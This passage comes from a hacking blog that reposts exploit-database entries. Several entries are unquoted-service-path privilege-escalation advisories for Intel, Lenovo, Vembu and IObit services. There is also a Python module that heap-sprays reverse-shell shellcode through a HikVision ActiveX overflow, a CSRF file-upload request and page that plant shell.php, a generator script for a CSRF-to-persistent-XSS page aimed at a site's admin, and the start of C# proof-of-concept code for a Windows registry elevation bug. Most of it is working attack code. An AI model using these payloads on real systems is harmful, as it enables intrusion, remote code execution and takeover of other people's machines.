Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863588069

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 15.1.0.0096
# Tested on: Windows 7 Professional

The Intel(R) PROSet/Wireless for Bluetooth(R) + High Speed service is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.
This was tested on version 15.1.0.0096, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc AMPPALR3

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: AMPPALR3

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Intel\BluetoothHS\BTHSAmpPalService.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intelr Centrinor Wireless Bluetoothr + High Speed Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Vembu StoreGrid - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 4.0
# Tested on: Windows Server 2012

StoreGrid is a re-brandable backup solution, which can install 2 services with unquoted service paths.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of either service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 4.0, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc RemoteBackup

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\bin\StoreGrid.exe


        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem


C:\>sc qc RemoteBackup_webServer

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: RemoteBackup_webServer

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 0   IGNORE

        BINARY_PATH_NAME   : C:\Program Files\MSP\RemoteBackup\apache\Apache.exe -k runservice

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : RemoteBackup_WebServer

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Lenovo Slim USB Keyboard - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.09
# Tested on: Windows 7 Professional

The Lenovo Slim USB Keyboard service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.09, but other versions may be affected as well.


---------------------------------------------------------------------------

C:\>sc qc Sks8821

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: Sks8821

        TYPE               : 20  WIN32_SHARE_PROCESS

        START_TYPE         : 2   AUTO_START

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files\Lenovo\Lenovo Slim USB Keyboard\Sks8821.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Skdaemon Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Lenovo RapidBoot HDD Accelerator - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 1.00.0802
# Tested on: Windows 7 Professional
 
The Lenovo RapidBoot HDD Accelerator service is installed with an unquoted service path.
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 1.00.0802, but other versions may be affected as well.
 
 
---------------------------------------------------------------------------
 
C:\>sc qc FastbootService                                                       
[SC] QueryServiceConfig SUCCESS                                                 
                                                                                
SERVICE_NAME: FastbootService                                                   
        TYPE               : 10  WIN32_OWN_PROCESS                              
        START_TYPE         : 2   AUTO_START                                     
        ERROR_CONTROL      : 1   NORMAL                                         
        BINARY_PATH_NAME   : C:\Program Files (x86)\Lenovo\RapidBoot HDD Accelerator\FBService.exe                                                              
        LOAD_ORDER_GROUP   :                                                    
        TAG                : 0                                                  
        DISPLAY_NAME       : FastbootService                                    
        DEPENDENCIES       : RPCSS                                              
        SERVICE_START_NAME : LocalSystem
 
---------------------------------------------------------------------------
 
 
EXAMPLE:
 
Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
# Exploit Title: Intel(R) Management Engine Components - Unquoted Service Path Privilege Escalation
# Date: 10/19/2016
# Exploit Author: Joey Lane
# Version: 8.0.1.1399
# Tested on: Windows 7 Professional

The Intel(R) Management and Security Application Local Management Service (LMS) is installed with an unquoted service path.  
This enables a local privilege escalation vulnerability.  
To exploit this vulnerability, a local attacker can insert an executable file in the path of the service.  
Rebooting the system or restarting the service will run the malicious executable with elevated privileges.

This was tested on version 8.0.1.1399, but other versions may be affected
as well.


---------------------------------------------------------------------------

C:\>sc qc LMS

[SC] QueryServiceConfig SUCCESS



SERVICE_NAME: LMS

        TYPE               : 10  WIN32_OWN_PROCESS

        START_TYPE         : 2   AUTO_START  (DELAYED)

        ERROR_CONTROL      : 1   NORMAL

        BINARY_PATH_NAME   : C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe

        LOAD_ORDER_GROUP   :

        TAG                : 0

        DISPLAY_NAME       : Intel(R) Management and Security Application Local Management Service

        DEPENDENCIES       :

        SERVICE_START_NAME : LocalSystem

---------------------------------------------------------------------------


EXAMPLE:

Using the BINARY_PATH_NAME listed above as an example, an executable named
"Program.exe" could be placed in "C:\", and it would be executed as the
Local System user next time the service was restarted.
            
#!/usr/bin/env python
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
# visit eastfw.com  eastexploits.com for more info
import sys
import re
import os
import socket
import random
import string
from struct import pack

sys.path.append("./core")
from Sploit import Sploit
sys.path.append("./shellcodes")
from Shellcodes import OSShellcodes

INFO={}
INFO['NAME']="efa_HikVision_Security_Systems_activex"
INFO['DESCRIPTION']="HikVision Security Systems activex Remote Overflow"
INFO['VENDOR']="http://www.hikvision.com/us/Tools_84.html"
INFO["CVE Name"]="0-day"
INFO["NOTES"]="""
Exploit-db.com  information:
    # Exploit Title: HikVision Security Systems ActiveX exploit designed for EAST framework
    # Google Dork:  none
    # Date: 19 October 2016
    # Exploit Author: EAST framework development team. Yuriy Gurkin
    # Vendor Homepage: http://www.hikvision.com/us
    # Software Link: http://www.hikvision.com/us/Tools_84.html  client software
    # Version: v2.5.0.5
    # Tested on: Windows XP, 7
    # CVE : 0day
    
General information:
Loaded File: C:\temp\WEBCAM~1\HIKVIS~1\NETVID~1.OCX
Name:        NETVIDEOACTIVEX23Lib
Lib GUID:    {99F388E9-F788-41D5-A103-8F4961539F88}
Version:     1.0
Lib Classes: 1

Class NetVideoActiveX23
GUID: {CAFCF48D-8E34-4490-8154-026191D73924}
Number of Interfaces: 1
Default Interface: _DNetVideoActiveX23
RegKey Safe for Script: True
RegkeySafe for Init: True
KillBitSet: False
"""

INFO['CHANGELOG']="13 Jan, 2016. Written by Gleg team."
INFO['PATH'] = "Exploits/"

PROPERTY = {}
PROPERTY['DESCRIPTION'] = "ActiveX 0-day"
PROPERTY['MODULE_TYPE'] = "Scada"

# Must be in every module, to be set by framework
OPTIONS = {}
OPTIONS["CONNECTBACK_PORT"] = "8089"

class exploit(Sploit):
    def __init__(self,
                port=8089, 
                logger=None):
        Sploit.__init__(self,logger=logger)
        self.port = port
        self.state = "running"
        return

    def args(self):
        self.args = Sploit.args(self, OPTIONS)
        self.port = int(self.args.get('CONNECTBACK_PORT', self.port))
        return

    def create_shellcode(self):
        self.CONNECTBACK_IP = socket.gethostbyname(socket.gethostname())
        if self.args['listener']:
            shellcode_type = 'reverse'
            port = int(self.args['listener']['PORT'])
        else:
            port = 9999
            shellcode_type = 'command'
        self.CONNECTBACK_PORT = port
        os_system = os_target = 'WINDOWS'
        os_arch = '32bit'
        s = OSShellcodes(os_target,
                        os_arch,
                        self.CONNECTBACK_IP,
                        self.CONNECTBACK_PORT)
        s.TIMESTAMP = 'codesys'
        shellcode = s.create_shellcode(
            shellcode_type,
            encode=0,
            debug=1
        )
        return shellcode

    def make_data(self, shellcode):
        filedata="""
        <html>
<object classid='clsid:CAFCF48D-8E34-4490-8154-026191D73924' id='target' ></object>
<script type='text/javascript' language="javascript">
ar=new Array();

function spray(buffer) {
    var hope   = unescape('%u9090%u9090');
    var unbuffer = unescape(buffer);
    var v      = 20 + unbuffer.length;

    while(hope.length<v)
         hope += hope;

    var fk = hope.substring(0, v);
    var bk = hope.substring(0, hope.length- v );
    delete v;
    delete hope;

    while(bk.length+v<0x40000) { 
       bk=bk+bk+fk;
    }
    for(i=0;i<3500;i++) {
       ar[i] = bk + unbuffer;
    }

}

spray(<SHELLCODE>);

        
buffer = "";
for (i = 0; i < 555; i++) buffer += unescape('%u9090%u9090');
target.GetServerIP (buffer);
</script>
</html>

        """
        if len(shellcode)%2:
            shellcode="\x90"+shellcode

        shell="unescape(\""
        i = 0
        while i < len(shellcode):
            shell += "%u"+"%02X%02X" %(ord(shellcode[i+1]),ord(shellcode[i]))     
            i += 2
        shell += "\")"
        filedata = filedata.replace("<SHELLCODE>", shell)
        return filedata

    def run(self):
        self.args()
        self.log("Generating shellcode")
        shellcode = self.create_shellcode()
        if not shellcode:
            self.log("Something goes wrong")
            return 0
        self.log("Generate Evil HTML")
        html = self.make_data(shellcode)
        self.log("Done")
        self.log("Starting web server")
        ip_server = "0.0.0.0"
        crlf = "\r\n"
        response = "HTTP/1.1 200 OK" + crlf
        response += "Content-Type: text/html" + crlf
        response += "Connection: close" + crlf
        response += "Server: Apache" + crlf
        response += "Content-Length: " + str(len(html))
        response += crlf + crlf + html + crlf
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server = (ip_server, 8089)
        s.bind(server)
        s.listen(1)
        while True:
            try:
                connection, client_address = s.accept()
                data = connection.recv(2048)
                self.log("Got request, sending payload")
                connection.send(response)
                self.log("exploit send")
                connection.close()
            except:
                print("EXCEPT")
        self.log('All done')
        self.finish(True)
        return 1

if __name__ == '__main__':
    """
    By now we only have the tool
    mode for exploit..
    Later we would have
    standalone mode also.
    """
    print "Running exploit %s .. " % INFO['NAME']
    e = exploit("192.168.0.1",80)
    e.run()
            
#########################################################################
# Exploit Title: IObit Advanced SystemCare Unquoted Service Path Privilege Escalation
# Date: 19/10/2016
# Author: Ashiyane Digital Security Team
# Vendor Homepage: http://www.iobit.com/en/index.php
# Software Link: http://www.iobit.com/en/advancedsystemcarefree.php#
# version : 10.0.2  (Latest)
# Tested on: Windows 7
##########################################################################

IObit Advanced SystemCare installs a service with an unquoted service path
To properly exploit this vulnerability, the local attacker must insert
an executable file in the path of the service.
Upon service restart or system reboot, the malicious code will be run
with elevated privileges.
-------------------------------------------
C:\>sc qc AdvancedSystemCareService10
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: AdvancedSystemCareService10
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\IObit\Advanced SystemCare\ASCService.exe
        LOAD_ORDER_GROUP   : System Reserved
        TAG                : 1
        DISPLAY_NAME       : Advanced SystemCare Service 10
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
################################################
######### Ashiyane Digital Security Team ############
########## exploit by: Amir.ght #####################
################################################
            
*=========================================================================================================
# Exploit Title:  CNDSOFT 2.3 - Arbitrary File Upload with CSRF (shell.php)
# Author: Besim
# Google Dork: -
# Date: 19/10/2016
# Type: webapps
# Platform : PHP
# Vendor Homepage: -
# Software Link: http://www.phpexplorer.com/Goster/1227
# Version: 2.3
*=========================================================================================================


Vulnerable URL and Parameter
========================================

Vulnerable URL = http://www.site_name/path/ofis/index.php?is=kullanici_tanimla

Vulnerable Parameter = &mesaj_baslik


TECHNICAL DETAILS & POC & POST DATA
========================================

POST /ofis/index.php?is=kullanici_tanimla HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0)
Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://site_name/ofis/index.php?is=kullanici_tanimla
——
Content-Type: multipart/form-data;
boundary=---------------------------5035863528338
Content-Length: 1037

-----------------------------5035863528338
Content-Disposition: form-data; name="utf8"

✓
-----------------------------5035863528338
Content-Disposition: form-data; name="authenticity_token"

CFC7d00LWKQsSahRqsfD+e/mHLqbaVIXBvlBGe/KP+I=
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_adi"

meryem
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_sifresi"

meryem
-----------------------------5035863528338
Content-Disposition: form-data; name="kullanici_mail_adresi"
m@yop.com
-----------------------------5035863528338
Content-Disposition: form-data; name="MAX_FILE_SIZE"

30000
-----------------------------5035863528338
Content-Disposition: form-data; name="*kullanici_resmi*"; *filename*="shell.php"
Content-Type: application/octet-stream
*<?php
	phpinfo();

 ?>*
-----------------------------5035863528338
Content-Disposition: form-data; name="personel_maasi"

5200
-----------------------------5035863528338--


*CSRF PoC - File Upload (Shell.php)*

========================================

<html>
  <!-- CSRF PoC -->
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "
http://site_name/ofis/index.php?is=kullanici_tanimla", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------5035863528338");
        xhr.withCredentials = true;
        var body = "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"utf8\"\r\n" +
          "\r\n" +
          "\xe2\x9c\x93\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"authenticity_token\"\r\n"
+
          "\r\n" +
          "CFC7d00LWKQsSahRqsfD+e/mHLqbaVIXBvlBGe/KP+I=\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_adi\"\r\n" +
          "\r\n" +
          "meryem\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_sifresi\"\r\n"
+
          "\r\n" +
          "meryem\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_mail_adresi\"\r\n" +
          "\r\n" +
          "m@yop.com\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" +
          "\r\n" +
          "30000\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"kullanici_resmi\"; filename=\"shell.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php \r\n" +
          "\tphpinfo();\r\n" +
          "\r\n" +
          " ?\x3e\r\n" +
          "-----------------------------5035863528338\r\n" +
          "Content-Disposition: form-data; name=\"personel_maasi\"\r\n" +
          "\r\n" +
          "5200\r\n" +
          "-----------------------------5035863528338--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
      submitRequest();
    </script>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </body>
</html>

========================================

*Access File : *http://www.site_name/path/personel_resimleri/shell.php


RISK
========================================

Attacker can arbitrary file upload.


--

Besim ALTINOK
            
# Exploit Title: XhP CMS 0.5.1 - Cross-Site Request Forgery to Persistent Cross-Site Scripting
# Exploit Author: Ahsan Tahir
# Date: 19-10-2016
# Software Link: https://sourceforge.net/projects/xhp/
# Vendor: https://sourceforge.net/projects/xhp/
# Google Dork: inurl:Powered by XHP CMS
# Contact: https://twitter.com/AhsanTahirAT | https://facebook.com/ahsantahiratofficial
# Website: www.ahsan-tahir.com
# Category: webapps
# Version: 0.5.1
# Tested on: [Kali Linux 2.0 | Windows 8.1]
# Email: mrahsan1337@gmail.com

import os
import urllib

if os.name == 'nt':
		os.system('cls')
else:
	os.system('clear')

banner = '''
+-==-==-==-==-==-==-==-==-==-==-==-==-==-=-=-=+
|  __  ___     ____     ____ __  __ ____      |
|  \ \/ / |__ |  _ \   / ___|  \/  / ___|     |
|   \  /| '_ \| |_) | | |   | |\/| \___ \     |
|   /  \| | | |  __/  | |___| |  | |___) |    |
|  /_/\_\_| |_|_|      \____|_|  |_|____/     | 
| > XhP CMS 0.5.1 - CSRF to Persistent XSS    |
| > Exploit Author & Script Coder: Ahsan Tahir|
+=====-----=====-----======-----=====---==-=-=+ 
'''
def xhpcsrf():

	print banner

	url = str(raw_input(" [+] Enter The Target URL (Please include http:// or https://): "))

	csrfhtmlcode = '''
	<html>
	  <!-- CSRF PoC -->
	  <body>
	    <form action="http://%s/action.php?module=users&action=process_general_config&box_id=29&page_id=0&basename=index.php&closewindow=&from_page=page=0&box_id=29&action=display_site_settings&errcode=0" method="POST" enctype="multipart/form-data" name="exploit">
	      <input type="hidden" name="frmPageTitle" value=""accesskey&#61;z&#32;onclick&#61;"alert&#40;document&#46;domain&#41;" />
	      <input type="hidden" name="frmPageUrl" value="http&#58;&#47;&#47;localhost&#47;xhp&#47;" />
	      <input type="hidden" name="frmPageDescription" value="&#13;" />
	      <input type="hidden" name="frmLanguage" value="english" />
	      <input type="submit" value="Submit request" />
	    </form>
		<script type="text/javascript" language="JavaScript">
		//submit form
		document.exploit.submit();
		</script>    
	  </body>
	</html>

	''' % url

	print " +----------------------------------------------------+\n [!] The HTML exploit code for exploiting this CSRF has been created."

	print(" [!] Enter your Filename below\n Note: The exploit will be saved as 'filename'.html \n")
	extension = ".html"
	name = raw_input(" Filename: ")
	filename = name+extension
	file = open(filename, "w")

	file.write(csrfhtmlcode)
	file.close()
	print(" [+] Your exploit is saved as %s")%filename
	print(" [+] Further Details:\n [!] The code saved in %s will automatically submit without\n any user interaction\n [!] To fully exploit, send the admin of this site a webpage with\n the above code injected in it, when he/she will open it the\n title of their website will be\n changed to an XSS payload, and then\n go to %s and hit ALT+SHIFT+Z on your keyboard, boom! XSS will pop-up!") %(filename, url)
	print("")
	
xhpcsrf()	
            
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=875

Windows: DeviceApi CMApi User Hive Impersonation EoP
Platform: Windows 10 10586 not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The DeviceApi CMApi PnpCtxRegOpenCurrentUserKey function doesn’t check the impersonation level of the current effective token allowing a normal user to create arbitrary registry keys in another user’s loaded hive leading to elevation of privilege.

Description:

For some of the CMApi IOCTLs you can specify a flag, 0x100 which indicates you want the keys to opened in the user’s hive rather than the system hive. It finds the root key by calling PnpCtxRegOpenCurrentUserKey which calls ZwQueryInformationToken for the TOKEN_USER structure, converts the SID to a string, appends it to \Registry\User and opens the key in kernel mode. No part of this process verifies that the effective token isn’t an impersonation token at identification level, this means that capturing another user’s token, or using something like S4U we can impersonate another logged on user and write registry keys into their hive. Combined with the fact that registry keys are created with kernel privileges (even when dealing with user hives, when it clearly shouldn’t) when the keys are actually created the access check is bypassed.

The obvious way of exploiting this is to use the PiCMOpenDeviceKey IOCTL I’ve already reported in issue 34167. We can do a similar trick but instead symlink to keys inside the user’s hive to get elevation. One issue is that when the keys are created in kernel mode they’ll typically not be accessible by the user due to the default inherited permissions on a user’s hive. However there’s a winnable race between when the user hive is accessed and when the keys are created, by clearing the thread token from another thread at the right moment the user hive will be the target user but the keys are created as the current user. While this doesn’t directly give us access to the keys through the DACL it does mark us as the owner of the key and so we can open it for WRITE_DAC access and change the DACL to give us access, then do a similar symlink trick to 34167 to elevate privileges.

Proof of Concept:

I’ve provided a PoC as a C# source code file. You need to compile it first targeted .NET 4 and above. It requires some setup first, to create the other user. Also this only demonstrates the arbitrary creation, it doesn’t attempt to win the race condition. 

1) Compile the C# source code file.
2) Create a second user on the local system as an admin, start a program running as that user so that their hive is loaded (using either runas or fast user switching).
3) Execute the PoC executable as a normal user, passing as an argument the name of the other user
3) The PoC should print that it failed to get the key (this is related to the key being opened under identification level impersonation) however using a registry viewer observe that under HKU\User-SID\SYSTEM\CurrentControlSet\Enum the device key’s been created.

Expected Result:
The key access should fail

Observed Result:
The key creation succeeds inside the other user’s hive.
*/

using Microsoft.Win32;
using Microsoft.Win32.SafeHandles;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Principal;

namespace PoC
{
  /// <remarks>
  /// This sample uses S4U security, which requires Windows Server 2003 and a W2003 domain controller
  /// Copied from pinvoke.net with minor changes to get it to actually work.
  /// </remarks>
  public sealed class CCWinLogonUtilities
  {
    private CCWinLogonUtilities()
    {
    }

    #region "Win32 stuff"
    private class Win32
    {
      internal class OSCalls
      {
        public enum WinStatusCodes : uint
        {
          STATUS_SUCCESS = 0
        }

        public enum WinErrors : uint
        {
          NO_ERROR = 0,
        }
        public enum WinLogonType
        {
          LOGON32_LOGON_INTERACTIVE = 2,
          LOGON32_LOGON_NETWORK = 3,
          LOGON32_LOGON_BATCH = 4,
          LOGON32_LOGON_SERVICE = 5,
          LOGON32_LOGON_UNLOCK = 7,
          LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
          LOGON32_LOGON_NEW_CREDENTIALS = 9
        }

        // SECURITY_LOGON_TYPE
        public enum SecurityLogonType
        {
          Interactive = 2,    // Interactively logged on (locally or remotely)
          Network,        // Accessing system via network
          Batch,          // Started via a batch queue
          Service,        // Service started by service controller
          Proxy,          // Proxy logon
          Unlock,         // Unlock workstation
          NetworkCleartext,   // Network logon with cleartext credentials
          NewCredentials,     // Clone caller, new default credentials
          RemoteInteractive,  // Remote, yet interactive. Terminal server
          CachedInteractive,  // Try cached credentials without hitting the net.
          CachedRemoteInteractive, // Same as RemoteInteractive, this is used internally for auditing purpose
          CachedUnlock    // Cached Unlock workstation
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_UNICODE_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public IntPtr Buffer;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct TOKEN_SOURCE
        {
          public TOKEN_SOURCE(string name)
          {
            SourceName = new byte[8];
            System.Text.Encoding.GetEncoding(1252).GetBytes(name, 0, name.Length, SourceName, 0);
            if (!AllocateLocallyUniqueId(out SourceIdentifier))
              throw new System.ComponentModel.Win32Exception();
          }

          [MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
          public byte[] SourceName;
          public UInt64 SourceIdentifier;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct QUOTA_LIMITS
        {
          UInt32 PagedPoolLimit;
          UInt32 NonPagedPoolLimit;
          UInt32 MinimumWorkingSetSize;
          UInt32 MaximumWorkingSetSize;
          UInt32 PagefileLimit;
          Int64 TimeLimit;
        }

        [StructLayout(LayoutKind.Sequential)]
        public struct LSA_STRING
        {
          public UInt16 Length;
          public UInt16 MaximumLength;
          public /*PCHAR*/ IntPtr Buffer;
        }

        public class LsaStringWrapper : IDisposable
        {
          public LSA_STRING _string;

          public LsaStringWrapper(string value)
          {
            _string = new LSA_STRING();
            _string.Length = (ushort)value.Length;
            _string.MaximumLength = (ushort)value.Length;
            _string.Buffer = Marshal.StringToHGlobalAnsi(value);
          }

          ~LsaStringWrapper()
          {
            Dispose(false);
          }

          private void Dispose(bool disposing)
          {
            if (_string.Buffer != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(_string.Buffer);
              _string.Buffer = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }

          #region IDisposable Members

          public void Dispose()
          {
            Dispose(true);
          }

          #endregion
        }

        public class KerbS4ULogon : IDisposable
        {
          [StructLayout(LayoutKind.Sequential)]
          public struct KERB_S4U_LOGON
          {
            public Int32 MessageType;    // Should be 12
            public Int32 Flags; // Reserved, should be 0
            public LSA_UNICODE_STRING ClientUpn;   // REQUIRED: UPN for client
            public LSA_UNICODE_STRING ClientRealm; // Optional: Client Realm, if known
          }

          public KerbS4ULogon(string clientUpn) : this(clientUpn, null)
          {
          }

          public KerbS4ULogon(string clientUpn, string clientRealm)
          {
            int clientUpnLen = (clientUpn == null) ? 0 : clientUpn.Length;
            int clientRealmLen = (clientRealm == null) ? 0 : clientRealm.Length;
            _bufferLength = Marshal.SizeOf(typeof(KERB_S4U_LOGON)) + 2 * (clientUpnLen + clientRealmLen);
            _bufferContent = Marshal.AllocHGlobal(_bufferLength);
            if (_bufferContent == IntPtr.Zero)
              throw new OutOfMemoryException("Could not allocate memory for KerbS4ULogon structure");
            try
            {
              KERB_S4U_LOGON baseStructure = new KERB_S4U_LOGON();
              baseStructure.MessageType = 12;    // KerbS4ULogon
              baseStructure.Flags = 0;
              baseStructure.ClientUpn.Length = (UInt16)(2 * clientUpnLen);
              baseStructure.ClientUpn.MaximumLength = (UInt16)(2 * clientUpnLen);
              IntPtr curPtr = new IntPtr(_bufferContent.ToInt64() + Marshal.SizeOf(typeof(KERB_S4U_LOGON)));

              if (clientUpnLen > 0)
              {
                baseStructure.ClientUpn.Buffer = curPtr;
                Marshal.Copy(clientUpn.ToCharArray(), 0, curPtr, clientUpnLen);
                curPtr = new IntPtr(curPtr.ToInt64() + clientUpnLen * 2);
              }
              else
                baseStructure.ClientUpn.Buffer = IntPtr.Zero;
              baseStructure.ClientRealm.Length = (UInt16)(2 * clientRealmLen);
              baseStructure.ClientRealm.MaximumLength = (UInt16)(2 * clientRealmLen);
              if (clientRealmLen > 0)
              {
                baseStructure.ClientRealm.Buffer = curPtr;
                Marshal.Copy(clientRealm.ToCharArray(), 0, curPtr, clientRealmLen);
              }
              else
                baseStructure.ClientRealm.Buffer = IntPtr.Zero;
              Marshal.StructureToPtr(baseStructure, _bufferContent, false);
            }
            catch
            {
              Dispose(true);
              throw;
            }
          }

          private IntPtr _bufferContent;
          private int _bufferLength;

          public IntPtr Ptr
          {
            get { return _bufferContent; }
          }

          public int Length
          {
            get { return _bufferLength; }
          }

          private void Dispose(bool disposing)
          {
            if (_bufferContent != IntPtr.Zero)
            {
              Marshal.FreeHGlobal(_bufferContent);
              _bufferContent = IntPtr.Zero;
            }
            if (disposing)
              GC.SuppressFinalize(this);
          }

          ~KerbS4ULogon()
          {
            Dispose(false);
          }

          #region IDisposable Members

          public void Dispose()
          {
            Dispose(true);
          }

          #endregion
        }

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = false)]
        public static extern WinErrors LsaNtStatusToWinError(WinStatusCodes status);

        [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern bool AllocateLocallyUniqueId([Out] out UInt64 Luid);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern int CloseHandle(IntPtr hObject);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaLogonUser(
            [In] IntPtr LsaHandle,
            [In] ref LSA_STRING OriginName,
            [In] SecurityLogonType LogonType,
            [In] UInt32 AuthenticationPackage,
            [In] IntPtr AuthenticationInformation,
            [In] UInt32 AuthenticationInformationLength,
            [In] /*PTOKEN_GROUPS*/ IntPtr LocalGroups,
            [In] ref TOKEN_SOURCE SourceContext,
            [Out] /*PVOID*/ out IntPtr ProfileBuffer,
            [Out] out UInt32 ProfileBufferLength,
            [Out] out Int64 LogonId,
            [Out] out IntPtr Token,
            [Out] out QUOTA_LIMITS Quotas,
            [Out] out WinStatusCodes SubStatus
            );

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaFreeReturnBuffer(
            [In] IntPtr buffer);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaConnectUntrusted([Out] out IntPtr LsaHandle);

        [DllImport("secur32.dll", SetLastError = false)]
        public static extern WinStatusCodes LsaDeregisterLogonProcess([In] IntPtr LsaHandle);

        [DllImport("secur32.dll", SetLastError = false)]
